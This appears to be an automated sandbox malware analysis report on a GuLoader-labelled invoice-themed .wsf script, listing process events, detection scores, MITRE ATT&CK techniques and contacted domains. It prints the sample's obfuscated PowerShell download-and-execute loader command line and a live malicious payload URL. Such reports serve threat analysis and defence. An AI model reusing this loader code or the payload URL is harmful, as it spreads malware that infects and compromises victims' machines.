Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4175			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5737			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6280

Thread sleep time: -1844674407370954s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: powershell.exe, 00000005.00000002.4646772637.0000015DEFA40000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllre

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_1336.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1336, type: MEMORYSTR

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c ping 6777.6777.6777.677e	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Semicellulous Sasia Afblsningers fortification Ungarbejderens #>;$Jestenenes='sollegeme';<#Perspiration Widish Redobles Foresprgerens Snobbisme #>;$Bromatologiens=$Lorelei128+$host.'PrivateData';If ($Bromatologiens) {$Boutonnieres++;}function Citationstegnet($Praepuce){$Firewarden117=$udnyttedes+$Praepuce.Length-$Boutonnieres; for( $Udfladningerne1=7;$Udfladningerne1 -lt $Firewarden117;$Udfladningerne1+=8){$Beritt='Affaldsbortskaffelsesomraaderne';$fumitories+=$Praepuce[$Udfladningerne1];$Exsectile='Impieties';}$fumitories;}function Humiria($Skdefrakkernes){ . ($Kaste) ($Skdefrakkernes);}$Udfladningerne1vyberry=Citationstegnet 'ChienfoMWingle o FrkapszSkyttesiNonshatl Vab erlNonch maKrydr s/ Cons q5 Coni i. Ophiur0Udebliv modpart(MilepleWSti lehiTak artnReirrigdUfrihedojubilizw angforsAtletis NedslagNBedrageT Defade Kuponen1Teredos0,budent.Cybercu0Matinmx;Maskinm GrskkatW UdspiniBoiler nLongw y6Mayos,v4 Anthro;S eavep Tras.expar tid6Tabanu 4Frifind;Hushold lseligrRke ispvabashle: N napp1 Pererr2 efleks1 Neutra.Recons 0H lvled) Compos esuetuG Bortf eO.gngelcSoricidkVolcanooZonesys/Glosser2Forvold0Turloug1Melleml0 nie,zs0G,lvano1F lthro0 Ristni1Landbru Lommer,FSkalkesi Sel,plrTorskeneHydrofofKonditoosiderocx kledis/Hjemt,g1 Ca,lal2 Tikkes1Nor ann.Ind atn0Ordrere ';$Aprilsnars190=Citationstegnet 'PropounUDyb rysS KongebE lozengrin issu-A,kelleaKoncis gBusfor eViewyyaN HercogTLrerudd ';$Maalestationernes=Citationstegnet 'RbdigsthPhilomatArseniutKaolinapVrdido :.wfulle/.rocaic/PuppetlsJacalsii F,rulylHepht eiMaaleren epersoau,creatsLicentitConnuan.KontrrernontyphoPondero/ UnguicJ,ongfeluDyrtidsgAfgrelslThro,doa niformn charondPrefectiTv,ngsinEksdik..Kin.redxType odtkristanpInd ull ';$Terroristens=Citationstegnet 'eft rml>Deseca ';$Kaste=Citationstegnet 'U derviicephaloeLaiciziX Perfor ';$Halibuts='Layland';$Darlenes='\Kassestrimmelens.Aft';Humiria (Citationstegnet 'Heft,gt$SkridtbGCrotonil KrystaOAbstracBpurdasiAUdsor el N,nges:Udsag kA .anthodRefas,emUncharii SuppleNPostsaci ewspapsGenvlgetD,ekcyaRNonunciA Hulds T IlliciiKvittero MorfinNEpilogisPreentepDrun,enrCus ekdOTvetandGtrkgardrLitera ABeijingM ic.orsmAlarmereSthammerInd fry=Undersk$Sur,useeSeweragNMllerenVTa kats:UndightACentralpdristerPF cellid StorstAEgomanit Sku spAMe,meri+ Pander$LinguovDKlvandkaBelliferGinglymLCumsha,EAlmennyN VarmlueBrugsmsSAnorect ');Humiria (Citationstegnet 'Viziera$AdemonigPr teifLArbejdeoVan fribMixologaAfkodnilUnderme:RegnefuUaksiomaPIncongeS Fo beheScorevatHypos rTEncr,ptaKonversl Opmarc=Economb$TrimolemOpstaada VegetaaUvrdigtlEnsurege Vo dgiS EngberT redsaAImp,ritT ArvelsiPekingeO Inthron andsynEDemoniaRAffaldsNSympatiEOverlegsFastlaa.H.vregrSSandslopBestriplMisogynimycelietoverjoy(Hagge,e$ Af,tantUnarcheeSilikatrB sgader,hasiluoFremholRDgn.rveIMiscoloS.pildolTPo letreIsocampN SubsidsBlodser)Strepto ');Humiria (Citationstegnet 'Contral	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 6777.6777.6777.677e	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#semicellulous sasia afblsningers fortification ungarbejderens #>;$jestenenes='sollegeme';<#perspiration widish redobles foresprgerens snobbisme #>;$bromatologiens=$lorelei128+$host.'privatedata';if ($bromatologiens) {$boutonnieres++;}function citationstegnet($praepuce){$firewarden117=$udnyttedes+$praepuce.length-$boutonnieres; for( $udfladningerne1=7;$udfladningerne1 -lt $firewarden117;$udfladningerne1+=8){$beritt='affaldsbortskaffelsesomraaderne';$fumitories+=$praepuce[$udfladningerne1];$exsectile='impieties';}$fumitories;}function humiria($skdefrakkernes){ . ($kaste) ($skdefrakkernes);}$udfladningerne1vyberry=citationstegnet 'chienfomwingle o frkapszskyttesinonshatl vab erlnonch makrydr s/ cons q5 coni i. ophiur0udebliv modpart(mileplewsti lehitak artnreirrigdufrihedojubilizw angforsatletis nedslagnbedraget defade kuponen1teredos0,budent.cybercu0matinmx;maskinm grskkatw udspiniboiler nlongw y6mayos,v4 anthro;s eavep tras.expar tid6tabanu 4frifind;hushold lseligrrke ispvabashle: n napp1 pererr2 efleks1 neutra.recons 0h lvled) compos esuetug bortf eo.gngelcsoricidkvolcanoozonesys/glosser2forvold0turloug1melleml0 nie,zs0g,lvano1f lthro0 ristni1landbru lommer,fskalkesi sel,plrtorskenehydrofofkonditoosiderocx kledis/hjemt,g1 ca,lal2 tikkes1nor ann.ind atn0ordrere ';$aprilsnars190=citationstegnet 'propounudyb ryss kongebe lozengrin issu-a,kelleakoncis gbusfor eviewyyan hercogtlrerudd ';$maalestationernes=citationstegnet 'rbdigsthphilomatarseniutkaolinapvrdido :.wfulle/.rocaic/puppetlsjacalsii f,rulylhepht eimaaleren epersoau,creatslicentitconnuan.kontrrernontyphopondero/ unguicj,ongfeludyrtidsgafgrelslthro,doa niformn charondprefectitv,ngsineksdik..kin.redxtype odtkristanpind ull ';$terroristens=citationstegnet 'eft rml>deseca ';$kaste=citationstegnet 'u derviicephaloelaicizix perfor ';$halibuts='layland';$darlenes='\kassestrimmelens.aft';humiria (citationstegnet 'heft,gt$skridtbgcrotonil krystaoabstracbpurdasiaudsor el n,nges:udsag ka .anthodrefas,emuncharii supplenpostsaci ewspapsgenvlgetd,ekcyarnonuncia hulds t illiciikvittero morfinnepilogispreentepdrun,enrcus ekdotvetandgtrkgardrlitera abeijingm ic.orsmalarmeresthammerind fry=undersk$sur,useeseweragnmllerenvta kats:undightacentralpdristerpf cellid storstaegomanit sku spame,meri+ pander$linguovdklvandkabelliferginglymlcumsha,ealmennyn varmluebrugsmssanorect ');humiria (citationstegnet 'viziera$ademonigpr teiflarbejdeovan fribmixologaafkodnilunderme:regnefuuaksiomapinconges fo behescorevathypos rtencr,ptakonversl opmarc=economb$trimolemopstaada vegetaauvrdigtlensurege vo dgis engbert redsaaimp,ritt arvelsipekingeo inthron andsynedemoniaraffaldsnsympatieoverlegsfastlaa.h.vregrssandslopbestriplmisogynimycelietoverjoy(hagge,e$ af,tantunarcheesilikatrb sgader,hasiluofremholrdgn.rveimiscolos.pildoltpo letreisocampn subsidsblodser)strepto ');humiria (citationstegnet 'contral
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#semicellulous sasia afblsningers fortification ungarbejderens #>;$jestenenes='sollegeme';<#perspiration widish redobles foresprgerens snobbisme #>;$bromatologiens=$lorelei128+$host.'privatedata';if ($bromatologiens) {$boutonnieres++;}function citationstegnet($praepuce){$firewarden117=$udnyttedes+$praepuce.length-$boutonnieres; for( $udfladningerne1=7;$udfladningerne1 -lt $firewarden117;$udfladningerne1+=8){$beritt='affaldsbortskaffelsesomraaderne';$fumitories+=$praepuce[$udfladningerne1];$exsectile='impieties';}$fumitories;}function humiria($skdefrakkernes){ . ($kaste) ($skdefrakkernes);}$udfladningerne1vyberry=citationstegnet 'chienfomwingle o frkapszskyttesinonshatl vab erlnonch makrydr s/ cons q5 coni i. ophiur0udebliv modpart(mileplewsti lehitak artnreirrigdufrihedojubilizw angforsatletis nedslagnbedraget defade kuponen1teredos0,budent.cybercu0matinmx;maskinm grskkatw udspiniboiler nlongw y6mayos,v4 anthro;s eavep tras.expar tid6tabanu 4frifind;hushold lseligrrke ispvabashle: n napp1 pererr2 efleks1 neutra.recons 0h lvled) compos esuetug bortf eo.gngelcsoricidkvolcanoozonesys/glosser2forvold0turloug1melleml0 nie,zs0g,lvano1f lthro0 ristni1landbru lommer,fskalkesi sel,plrtorskenehydrofofkonditoosiderocx kledis/hjemt,g1 ca,lal2 tikkes1nor ann.ind atn0ordrere ';$aprilsnars190=citationstegnet 'propounudyb ryss kongebe lozengrin issu-a,kelleakoncis gbusfor eviewyyan hercogtlrerudd ';$maalestationernes=citationstegnet 'rbdigsthphilomatarseniutkaolinapvrdido :.wfulle/.rocaic/puppetlsjacalsii f,rulylhepht eimaaleren epersoau,creatslicentitconnuan.kontrrernontyphopondero/ unguicj,ongfeludyrtidsgafgrelslthro,doa niformn charondprefectitv,ngsineksdik..kin.redxtype odtkristanpind ull ';$terroristens=citationstegnet 'eft rml>deseca ';$kaste=citationstegnet 'u derviicephaloelaicizix perfor ';$halibuts='layland';$darlenes='\kassestrimmelens.aft';humiria (citationstegnet 'heft,gt$skridtbgcrotonil krystaoabstracbpurdasiaudsor el n,nges:udsag ka .anthodrefas,emuncharii supplenpostsaci ewspapsgenvlgetd,ekcyarnonuncia hulds t illiciikvittero morfinnepilogispreentepdrun,enrcus ekdotvetandgtrkgardrlitera abeijingm ic.orsmalarmeresthammerind fry=undersk$sur,useeseweragnmllerenvta kats:undightacentralpdristerpf cellid storstaegomanit sku spame,meri+ pander$linguovdklvandkabelliferginglymlcumsha,ealmennyn varmluebrugsmssanorect ');humiria (citationstegnet 'viziera$ademonigpr teiflarbejdeovan fribmixologaafkodnilunderme:regnefuuaksiomapinconges fo behescorevathypos rtencr,ptakonversl opmarc=economb$trimolemopstaada vegetaauvrdigtlensurege vo dgis engbert redsaaimp,ritt arvelsipekingeo inthron andsynedemoniaraffaldsnsympatieoverlegsfastlaa.h.vregrssandslopbestriplmisogynimycelietoverjoy(hagge,e$ af,tantunarcheesilikatrb sgader,hasiluofremholrdgn.rveimiscolos.pildoltpo letreisocampn subsidsblodser)strepto ');humiria (citationstegnet 'contral			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	2 Command and Scripting Interpreter	22 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	12 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Wniosek o numer faktury.wsf	24%	ReversingLabs	Script-WScript.Trojan.GuLoader
Wniosek o numer faktury.wsf	19%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
silinast.ro	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
http://silinast.ro	10%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
silinast.ro	188.241.183.45	true	false	10%, Virustotal, Browse	unknown
6777.6777.6777.677e	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://silinast.ro/Juglandin.xtp	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://silinast.ro	powershell.exe, 00000005.00000002.4613344132.0000015D81CC0000.00000004.00000800.00020000.00000000.sdmp	true	10%, Virustotal, Browse	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.4640956886.0000015D901B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4640956886.0000015D90071000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://silinast.ro(	powershell.exe, 00000005.00000002.4613344132.0000015D8166A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81131000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81928000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81BA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D815C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81D6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D813E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D8188B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D813A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D80FCB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81308000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D817EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 